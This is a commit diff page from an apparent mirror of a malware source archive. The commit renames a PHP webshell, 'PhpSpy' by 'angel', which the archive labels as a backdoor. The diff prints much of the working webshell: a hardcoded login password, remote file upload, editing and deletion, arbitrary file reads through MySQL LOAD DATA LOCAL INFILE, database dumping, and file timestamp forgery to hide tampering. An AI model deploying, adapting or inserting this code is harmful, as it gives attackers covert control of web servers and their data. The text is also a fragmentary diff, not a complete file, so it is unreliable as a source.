mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 02:16:09 +00:00
Rename Trojan-Spy.PHP.PhPen.f to Backdoor.PHP.Phpshy.a.s
This commit is contained in:
parent
20884073a5
commit
2e53d3891f
@ -2,17 +2,17 @@
|
|||||||
|
|
||||||
/*****************************************************************************
|
/*****************************************************************************
|
||||||
|
|
||||||
===================== 请误用于非法用途,造成一切后果与本人无关。====================
|
===================== 请误用于非法用途,造成一切后果与本人无关。====================
|
||||||
|
|
||||||
发布此版本是为了纪念安全天使曾经的辉煌。
|
发布此版本是为了纪念安全天使曾经的辉煌。
|
||||||
|
|
||||||
感谢你们与我一同走过:Sniper\Super·Hei\kEvin1986\saiy\wofeiwo。
|
感谢你们与我一同走过:Sniper\Super·Hei\kEvin1986\saiy\wofeiwo。
|
||||||
|
|
||||||
感谢所有的朋友们、兄弟们。多谢你们的关心和支持!
|
感谢所有的朋友们、兄弟们。多谢你们的关心和支持!
|
||||||
|
|
||||||
选择在1月7日发布是为了纪念我老婆的生日,预祝我在本命年里。咸鱼翻身!
|
选择在1月7日发布是为了纪念我老婆的生日,预祝我在本命年里。咸鱼翻身!
|
||||||
|
|
||||||
====================== 最后预祝安全天使的每一位朋友飞黄腾达 =======================
|
====================== 最后预祝安全天使的每一位朋友飞黄腾达 =======================
|
||||||
|
|
||||||
Codz by angel(4ngel)
|
Codz by angel(4ngel)
|
||||||
|
|
||||||
@ -47,23 +47,23 @@ foreach(array('_GET','_POST') as $_request) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/*===================== 程序配置 =====================*/
|
/*===================== 程序配置 =====================*/
|
||||||
$admin = array();
|
$admin = array();
|
||||||
// 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
|
// 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
|
||||||
$admin['check'] = true;
|
$admin['check'] = true;
|
||||||
// 如果需要密码验证,请修改登陆密码
|
// 如果需要密码验证,请修改登陆密码
|
||||||
$admin['pass'] = 'kolya';
|
$admin['pass'] = 'kolya';
|
||||||
|
|
||||||
//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
|
//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
|
||||||
// cookie 前缀
|
// cookie 前缀
|
||||||
$admin['cookiepre'] = '';
|
$admin['cookiepre'] = '';
|
||||||
// cookie 作用域
|
// cookie 作用域
|
||||||
$admin['cookiedomain'] = '';
|
$admin['cookiedomain'] = '';
|
||||||
// cookie 作用路径
|
// cookie 作用路径
|
||||||
$admin['cookiepath'] = '/';
|
$admin['cookiepath'] = '/';
|
||||||
// cookie 有效期
|
// cookie 有效期
|
||||||
$admin['cookielife'] = 86400;
|
$admin['cookielife'] = 86400;
|
||||||
/*===================== 配置结束 =====================*/
|
/*===================== 配置结束 =====================*/
|
||||||
|
|
||||||
if ($charset == 'utf8') {
|
if ($charset == 'utf8') {
|
||||||
header("content-Type: text/html; charset=utf-8");
|
header("content-Type: text/html; charset=utf-8");
|
||||||
@ -78,7 +78,7 @@ if ($charset == 'utf8') {
|
|||||||
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
|
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
|
||||||
$timestamp = time();
|
$timestamp = time();
|
||||||
|
|
||||||
/*===================== 身份验证 =====================*/
|
/*===================== 身份验证 =====================*/
|
||||||
if ($action == "logout") {
|
if ($action == "logout") {
|
||||||
scookie('phpspypass', '', -86400 * 365);
|
scookie('phpspypass', '', -86400 * 365);
|
||||||
p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
|
p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
|
||||||
@ -102,11 +102,11 @@ if($admin['check']) {
|
|||||||
loginpage();
|
loginpage();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
/*===================== 验证结束 =====================*/
|
/*===================== 验证结束 =====================*/
|
||||||
|
|
||||||
$errmsg = '';
|
$errmsg = '';
|
||||||
|
|
||||||
// 查看PHPINFO
|
// 查看PHPINFO
|
||||||
if ($action == 'phpinfo') {
|
if ($action == 'phpinfo') {
|
||||||
if (IS_PHPINFO) {
|
if (IS_PHPINFO) {
|
||||||
phpinfo();
|
phpinfo();
|
||||||
@ -115,7 +115,7 @@ if ($action == 'phpinfo') {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 下载文件
|
// 下载文件
|
||||||
if ($doing == 'downfile' && $thefile) {
|
if ($doing == 'downfile' && $thefile) {
|
||||||
if (!@file_exists($thefile)) {
|
if (!@file_exists($thefile)) {
|
||||||
$errmsg = 'The file you want Downloadable was nonexistent';
|
$errmsg = 'The file you want Downloadable was nonexistent';
|
||||||
@ -129,7 +129,7 @@ if ($doing == 'downfile' && $thefile) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 直接下载备份数据库
|
// 直接下载备份数据库
|
||||||
if ($doing == 'backupmysql' && !$saveasfile) {
|
if ($doing == 'backupmysql' && !$saveasfile) {
|
||||||
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
|
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
|
||||||
$table = array_flip($table);
|
$table = array_flip($table);
|
||||||
@ -148,7 +148,7 @@ if ($doing == 'backupmysql' && !$saveasfile) {
|
|||||||
exit;
|
exit;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 通过MYSQL下载文件
|
// 通过MYSQL下载文件
|
||||||
if($doing=='mysqldown'){
|
if($doing=='mysqldown'){
|
||||||
if (!$dbname) {
|
if (!$dbname) {
|
||||||
$errmsg = 'Please input dbname';
|
$errmsg = 'Please input dbname';
|
||||||
@ -161,7 +161,7 @@ if($doing=='mysqldown'){
|
|||||||
if(!$result){
|
if(!$result){
|
||||||
q("DROP TABLE IF EXISTS tmp_angel;");
|
q("DROP TABLE IF EXISTS tmp_angel;");
|
||||||
q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
|
q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
|
||||||
//用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
|
//用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
|
||||||
q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
|
q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
|
||||||
$result = q("select content from tmp_angel");
|
$result = q("select content from tmp_angel");
|
||||||
q("DROP TABLE tmp_angel");
|
q("DROP TABLE tmp_angel");
|
||||||
@ -247,7 +247,7 @@ formfoot();
|
|||||||
|
|
||||||
$errmsg && m($errmsg);
|
$errmsg && m($errmsg);
|
||||||
|
|
||||||
// 获取当前路径
|
// 获取当前路径
|
||||||
!$dir && $dir = '.';
|
!$dir && $dir = '.';
|
||||||
$nowpath = getPath(SA_ROOT, $dir);
|
$nowpath = getPath(SA_ROOT, $dir);
|
||||||
if (substr($dir, -1) != '/') {
|
if (substr($dir, -1) != '/') {
|
||||||
@ -257,10 +257,10 @@ $uedir = ue($dir);
|
|||||||
|
|
||||||
if (!$action || $action == 'file') {
|
if (!$action || $action == 'file') {
|
||||||
|
|
||||||
// 判断读写情况
|
// 判断读写情况
|
||||||
$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
|
$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
|
||||||
|
|
||||||
// 删除目录
|
// 删除目录
|
||||||
if ($doing == 'deldir' && $thefile) {
|
if ($doing == 'deldir' && $thefile) {
|
||||||
if (!file_exists($thefile)) {
|
if (!file_exists($thefile)) {
|
||||||
m($thefile.' directory does not exist');
|
m($thefile.' directory does not exist');
|
||||||
@ -269,7 +269,7 @@ if (!$action || $action == 'file') {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 创建目录
|
// 创建目录
|
||||||
elseif ($newdirname) {
|
elseif ($newdirname) {
|
||||||
$mkdirs = $nowpath.$newdirname;
|
$mkdirs = $nowpath.$newdirname;
|
||||||
if (file_exists($mkdirs)) {
|
if (file_exists($mkdirs)) {
|
||||||
@ -280,19 +280,19 @@ if (!$action || $action == 'file') {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 上传文件
|
// 上传文件
|
||||||
elseif ($doupfile) {
|
elseif ($doupfile) {
|
||||||
m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
|
m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
|
||||||
}
|
}
|
||||||
|
|
||||||
// 编辑文件
|
// 编辑文件
|
||||||
elseif ($editfilename && $filecontent) {
|
elseif ($editfilename && $filecontent) {
|
||||||
$fp = @fopen($editfilename,'w');
|
$fp = @fopen($editfilename,'w');
|
||||||
m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
|
m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
|
||||||
@fclose($fp);
|
@fclose($fp);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 编辑文件属性
|
// 编辑文件属性
|
||||||
elseif ($pfile && $newperm) {
|
elseif ($pfile && $newperm) {
|
||||||
if (!file_exists($pfile)) {
|
if (!file_exists($pfile)) {
|
||||||
m('The original file does not exist');
|
m('The original file does not exist');
|
||||||
@ -302,7 +302,7 @@ if (!$action || $action == 'file') {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 改名
|
// 改名
|
||||||
elseif ($oldname && $newfilename) {
|
elseif ($oldname && $newfilename) {
|
||||||
$nname = $nowpath.$newfilename;
|
$nname = $nowpath.$newfilename;
|
||||||
if (file_exists($nname) || !file_exists($oldname)) {
|
if (file_exists($nname) || !file_exists($oldname)) {
|
||||||
@ -312,7 +312,7 @@ if (!$action || $action == 'file') {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 复制文件
|
// 复制文件
|
||||||
elseif ($sname && $tofile) {
|
elseif ($sname && $tofile) {
|
||||||
if (file_exists($tofile) || !file_exists($sname)) {
|
if (file_exists($tofile) || !file_exists($sname)) {
|
||||||
m('The goal file has already existed or original file does not exist');
|
m('The goal file has already existed or original file does not exist');
|
||||||
@ -321,7 +321,7 @@ if (!$action || $action == 'file') {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 克隆时间
|
// 克隆时间
|
||||||
elseif ($curfile && $tarfile) {
|
elseif ($curfile && $tarfile) {
|
||||||
if (!@file_exists($curfile) || !@file_exists($tarfile)) {
|
if (!@file_exists($curfile) || !@file_exists($tarfile)) {
|
||||||
m('The goal file has already existed or original file does not exist');
|
m('The goal file has already existed or original file does not exist');
|
||||||
@ -331,7 +331,7 @@ if (!$action || $action == 'file') {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 自定义时间
|
// 自定义时间
|
||||||
elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
|
elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
|
||||||
if (!@file_exists($curfile)) {
|
if (!@file_exists($curfile)) {
|
||||||
m(basename($curfile).' does not exist');
|
m(basename($curfile).' does not exist');
|
||||||
@ -341,7 +341,7 @@ if (!$action || $action == 'file') {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 打包下载
|
// 打包下载
|
||||||
elseif($doing == 'downrar') {
|
elseif($doing == 'downrar') {
|
||||||
if ($dl) {
|
if ($dl) {
|
||||||
$dfiles='';
|
$dfiles='';
|
||||||
@ -363,7 +363,7 @@ if (!$action || $action == 'file') {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 批量删除文件
|
// 批量删除文件
|
||||||
elseif($doing == 'delfiles') {
|
elseif($doing == 'delfiles') {
|
||||||
if ($dl) {
|
if ($dl) {
|
||||||
$dfiles='';
|
$dfiles='';
|
||||||
@ -375,13 +375,13 @@ if (!$action || $action == 'file') {
|
|||||||
$fail++;
|
$fail++;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
|
m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
|
||||||
} else {
|
} else {
|
||||||
m('Please select file(s)');
|
m('Please select file(s)');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
//操作完毕
|
//操作完毕
|
||||||
formhead(array('name'=>'createdir'));
|
formhead(array('name'=>'createdir'));
|
||||||
makehide('newdirname');
|
makehide('newdirname');
|
||||||
makehide('dir',$nowpath);
|
makehide('dir',$nowpath);
|
||||||
@ -516,14 +516,14 @@ function godir(dir,view_writable){
|
|||||||
|
|
||||||
p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
|
p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
|
||||||
|
|
||||||
//查看所有可写文件和目录
|
//查看所有可写文件和目录
|
||||||
$dirdata=array();
|
$dirdata=array();
|
||||||
$filedata=array();
|
$filedata=array();
|
||||||
|
|
||||||
if ($view_writable) {
|
if ($view_writable) {
|
||||||
$dirdata = GetList($nowpath);
|
$dirdata = GetList($nowpath);
|
||||||
} else {
|
} else {
|
||||||
// 目录列表
|
// 目录列表
|
||||||
$dirs=@opendir($dir);
|
$dirs=@opendir($dir);
|
||||||
while ($file=@readdir($dirs)) {
|
while ($file=@readdir($dirs)) {
|
||||||
$filepath=$nowpath.$file;
|
$filepath=$nowpath.$file;
|
||||||
@ -826,7 +826,7 @@ function settable(tablename,doing,page) {
|
|||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
<?php
|
<?php
|
||||||
//操作记录
|
//操作记录
|
||||||
formhead(array('name'=>'recordlist'));
|
formhead(array('name'=>'recordlist'));
|
||||||
makehide('doing');
|
makehide('doing');
|
||||||
makehide('action','sqladmin');
|
makehide('action','sqladmin');
|
||||||
@ -835,7 +835,7 @@ function settable(tablename,doing,page) {
|
|||||||
p($dbform);
|
p($dbform);
|
||||||
formfoot();
|
formfoot();
|
||||||
|
|
||||||
//选定数据库
|
//选定数据库
|
||||||
formhead(array('name'=>'setdbname'));
|
formhead(array('name'=>'setdbname'));
|
||||||
makehide('action','sqladmin');
|
makehide('action','sqladmin');
|
||||||
p($dbform);
|
p($dbform);
|
||||||
@ -844,7 +844,7 @@ function settable(tablename,doing,page) {
|
|||||||
}
|
}
|
||||||
formfoot();
|
formfoot();
|
||||||
|
|
||||||
//选定表
|
//选定表
|
||||||
formhead(array('name'=>'settable'));
|
formhead(array('name'=>'settable'));
|
||||||
makehide('action','sqladmin');
|
makehide('action','sqladmin');
|
||||||
p($dbform);
|
p($dbform);
|
||||||
@ -864,12 +864,12 @@ function settable(tablename,doing,page) {
|
|||||||
}
|
}
|
||||||
if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
|
if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
|
||||||
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
|
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
|
||||||
//获取数据库信息
|
//获取数据库信息
|
||||||
$mysqlver = mysql_get_server_info();
|
$mysqlver = mysql_get_server_info();
|
||||||
p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
|
p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
|
||||||
$highver = $mysqlver > '4.1' ? 1 : 0;
|
$highver = $mysqlver > '4.1' ? 1 : 0;
|
||||||
|
|
||||||
//获取数据库
|
//获取数据库
|
||||||
$query = q("SHOW DATABASES");
|
$query = q("SHOW DATABASES");
|
||||||
$dbs = array();
|
$dbs = array();
|
||||||
$dbs[] = '-- Select a database --';
|
$dbs[] = '-- Select a database --';
|
||||||
@ -1347,7 +1347,7 @@ else {
|
|||||||
<?php
|
<?php
|
||||||
|
|
||||||
/*======================================================
|
/*======================================================
|
||||||
函数库
|
函数库
|
||||||
======================================================*/
|
======================================================*/
|
||||||
|
|
||||||
function m($msg) {
|
function m($msg) {
|
||||||
@ -1397,7 +1397,7 @@ function multi($num, $perpage, $curpage, $tablename) {
|
|||||||
}
|
}
|
||||||
return $multipage;
|
return $multipage;
|
||||||
}
|
}
|
||||||
// 登陆入口
|
// 登陆入口
|
||||||
function loginpage() {
|
function loginpage() {
|
||||||
?>
|
?>
|
||||||
<style type="text/css">
|
<style type="text/css">
|
||||||
@ -1452,7 +1452,7 @@ function cf($fname,$text){
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 页面调试信息
|
// 页面调试信息
|
||||||
function debuginfo() {
|
function debuginfo() {
|
||||||
global $starttime;
|
global $starttime;
|
||||||
$mtime = explode(' ', microtime());
|
$mtime = explode(' ', microtime());
|
||||||
@ -1460,7 +1460,7 @@ function debuginfo() {
|
|||||||
echo 'Processed in '.$totaltime.' second(s)';
|
echo 'Processed in '.$totaltime.' second(s)';
|
||||||
}
|
}
|
||||||
|
|
||||||
//连接数据库
|
//连接数据库
|
||||||
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
|
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
|
||||||
if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
|
if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
|
||||||
p('<h2>Can not connect to MySQL server</h2>');
|
p('<h2>Can not connect to MySQL server</h2>');
|
||||||
@ -1480,7 +1480,7 @@ function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
|
|||||||
return $link;
|
return $link;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 去掉转义字符
|
// 去掉转义字符
|
||||||
function s_array(&$array) {
|
function s_array(&$array) {
|
||||||
if (is_array($array)) {
|
if (is_array($array)) {
|
||||||
foreach ($array as $k => $v) {
|
foreach ($array as $k => $v) {
|
||||||
@ -1492,7 +1492,7 @@ function s_array(&$array) {
|
|||||||
return $array;
|
return $array;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 清除HTML代码
|
// 清除HTML代码
|
||||||
function html_clean($content) {
|
function html_clean($content) {
|
||||||
$content = htmlspecialchars($content);
|
$content = htmlspecialchars($content);
|
||||||
$content = str_replace("\n", "<br />", $content);
|
$content = str_replace("\n", "<br />", $content);
|
||||||
@ -1501,7 +1501,7 @@ function html_clean($content) {
|
|||||||
return $content;
|
return $content;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取权限
|
// 获取权限
|
||||||
function getChmod($filepath){
|
function getChmod($filepath){
|
||||||
return substr(base_convert(@fileperms($filepath),10,8),-4);
|
return substr(base_convert(@fileperms($filepath),10,8),-4);
|
||||||
}
|
}
|
||||||
@ -1544,7 +1544,7 @@ function getUser($filepath) {
|
|||||||
return '';
|
return '';
|
||||||
}
|
}
|
||||||
|
|
||||||
// 删除目录
|
// 删除目录
|
||||||
function deltree($deldir) {
|
function deltree($deldir) {
|
||||||
$mydir=@dir($deldir);
|
$mydir=@dir($deldir);
|
||||||
while($file=$mydir->read()) {
|
while($file=$mydir->read()) {
|
||||||
@ -1562,13 +1562,13 @@ function deltree($deldir) {
|
|||||||
return @rmdir($deldir) ? 1 : 0;
|
return @rmdir($deldir) ? 1 : 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 表格行间的背景色替换
|
// 表格行间的背景色替换
|
||||||
function bg() {
|
function bg() {
|
||||||
global $bgc;
|
global $bgc;
|
||||||
return ($bgc++%2==0) ? 'alt1' : 'alt2';
|
return ($bgc++%2==0) ? 'alt1' : 'alt2';
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取当前的文件系统路径
|
// 获取当前的文件系统路径
|
||||||
function getPath($scriptpath, $nowpath) {
|
function getPath($scriptpath, $nowpath) {
|
||||||
if ($nowpath == '.') {
|
if ($nowpath == '.') {
|
||||||
$nowpath = $scriptpath;
|
$nowpath = $scriptpath;
|
||||||
@ -1581,7 +1581,7 @@ function getPath($scriptpath, $nowpath) {
|
|||||||
return $nowpath;
|
return $nowpath;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取当前目录的上级目录
|
// 获取当前目录的上级目录
|
||||||
function getUpPath($nowpath) {
|
function getUpPath($nowpath) {
|
||||||
$pathdb = explode('/', $nowpath);
|
$pathdb = explode('/', $nowpath);
|
||||||
$num = count($pathdb);
|
$num = count($pathdb);
|
||||||
@ -1593,7 +1593,7 @@ function getUpPath($nowpath) {
|
|||||||
return $uppath;
|
return $uppath;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查PHP配置参数
|
// 检查PHP配置参数
|
||||||
function getcfg($varname) {
|
function getcfg($varname) {
|
||||||
$result = get_cfg_var($varname);
|
$result = get_cfg_var($varname);
|
||||||
if ($result == 0) {
|
if ($result == 0) {
|
||||||
@ -1605,7 +1605,7 @@ function getcfg($varname) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查函数情况
|
// 检查函数情况
|
||||||
function getfun($funName) {
|
function getfun($funName) {
|
||||||
return (false !== function_exists($funName)) ? 'Yes' : 'No';
|
return (false !== function_exists($funName)) ? 'Yes' : 'No';
|
||||||
}
|
}
|
||||||
@ -1672,7 +1672,7 @@ function sizecount($size) {
|
|||||||
return $size;
|
return $size;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 压缩打包类
|
// 压缩打包类
|
||||||
class PHPZip{
|
class PHPZip{
|
||||||
var $out='';
|
var $out='';
|
||||||
function PHPZip($dir) {
|
function PHPZip($dir) {
|
||||||
@ -1680,7 +1680,7 @@ class PHPZip{
|
|||||||
$curdir = getcwd();
|
$curdir = getcwd();
|
||||||
if (is_array($dir)) $filelist = $dir;
|
if (is_array($dir)) $filelist = $dir;
|
||||||
else{
|
else{
|
||||||
$filelist=$this -> GetFileList($dir);//文件列表
|
$filelist=$this -> GetFileList($dir);//文件列表
|
||||||
foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
|
foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
|
||||||
}
|
}
|
||||||
if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
|
if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
|
||||||
@ -1703,7 +1703,7 @@ class PHPZip{
|
|||||||
else return 0;
|
else return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获得指定目录文件列表
|
// 获得指定目录文件列表
|
||||||
function GetFileList($dir){
|
function GetFileList($dir){
|
||||||
static $a;
|
static $a;
|
||||||
if (is_dir($dir)) {
|
if (is_dir($dir)) {
|
||||||
@ -1803,7 +1803,7 @@ class PHPZip{
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 备份数据库
|
// 备份数据库
|
||||||
function sqldumptable($table, $fp=0) {
|
function sqldumptable($table, $fp=0) {
|
||||||
$tabledump = "DROP TABLE IF EXISTS $table;\n";
|
$tabledump = "DROP TABLE IF EXISTS $table;\n";
|
||||||
$tabledump .= "CREATE TABLE $table (\n";
|
$tabledump .= "CREATE TABLE $table (\n";
|
||||||
@ -1980,7 +1980,7 @@ function formfoot(){
|
|||||||
p('</form>');
|
p('</form>');
|
||||||
}
|
}
|
||||||
|
|
||||||
// 调试函数
|
// 调试函数
|
||||||
function pr($a) {
|
function pr($a) {
|
||||||
echo '<pre>';
|
echo '<pre>';
|
||||||
print_r($a);
|
print_r($a);
|
Loading…
Reference in New Issue
Block a user